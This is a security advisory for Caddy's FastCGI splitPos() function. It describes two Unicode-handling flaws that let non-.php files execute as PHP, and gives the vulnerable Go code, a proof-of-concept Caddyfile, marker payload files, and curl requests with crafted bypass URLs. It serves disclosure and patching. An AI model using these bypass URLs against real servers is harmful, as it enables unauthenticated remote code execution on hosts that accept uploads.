Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files

### Summary The FastCGI transport's `splitPos()` in [`modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go`](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-`.php` (or other configured `split_path` extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw. This function was adapted from FrankenPHP's code (see [the source comment](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go#L429)) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm) (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4. ### Details ```go var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) func (t Transport) splitPos(path string) int { if len(t.SplitPath) == 0 { return 0 } pathLen := len(path) for _, split := range t.SplitPath { splitLen := len(split) for i := range pathLen { if path[i] >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break } if i+splitLen > pathLen { continue } match := true for j := range splitLen { c := path[i+j] if c >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break // <-- flaw 1: 'match' is still true } if 'A' <= c && c <= 'Z' { c += 'a' - 'A' } if c != split[j] { match = false break } } if match { return i + splitLen } } } return -1 } ``` #### Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback In the inner `for j` loop, when a byte satisfies `c >= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.<U+00A1>.txt` gets routed as PHP. #### Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII `search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `﹒php`, `．php`, `.ｐhp`, `.ⓟⓗⓟ`, `.𝗽𝗵𝗽`, `.𝓅𝒽𝓅`, `.𝖕𝖍𝖕`, etc. is reported as `.php`. Both flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case `SplitPath` entry against an arbitrary path. `Provision()` already guarantees every entry is ASCII and lower-cased, so any byte `>= utf8.RuneSelf` in the path can never be part of a legitimate match — but the fallback ignored that guarantee. ### PoC Run against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by `split_path`). Caddyfile: ```text :8080 { root * /app/public php_fastcgi unix//run/php/php-fpm.sock } ``` Place attacker-controlled files in `/app/public`: - `/app/public/poc-match-unset.\xc2\xa1.` — `<?php echo "marker=flaw1\n";` - `/app/public/poc-search-norm.𝗽𝗵𝗽` — `<?php echo "marker=flaw2\n";` Trigger: ```bash # baseline (correctly NOT routed to PHP) curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger" curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger" # flaw 1 — the .¡.txt file ends up as SCRIPT_FILENAME curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger" # flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPT_FILENAME curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger" ``` Both crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files. A standalone reproducer of `splitPos()` in isolation (no Caddy build needed) is included in [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm); the function in this module is the same logic, so the same payloads apply. ### Impact Comparable to the previous FastCGI `split_path` issue ([GHSA-g966-83w7-6w38 / CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38)) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors — the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1). ### Patch Drop the `golang.org/x/text/search` fallback entirely and treat any byte `>= utf8.RuneSelf` in the path as a non-match. `SplitPath` entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See `fix/fastcgi-splitpos-unicode-bypass` (commit `4ddad83c`) for the implementation and regression tests. ### Credit Both flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending `splitPos()` function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.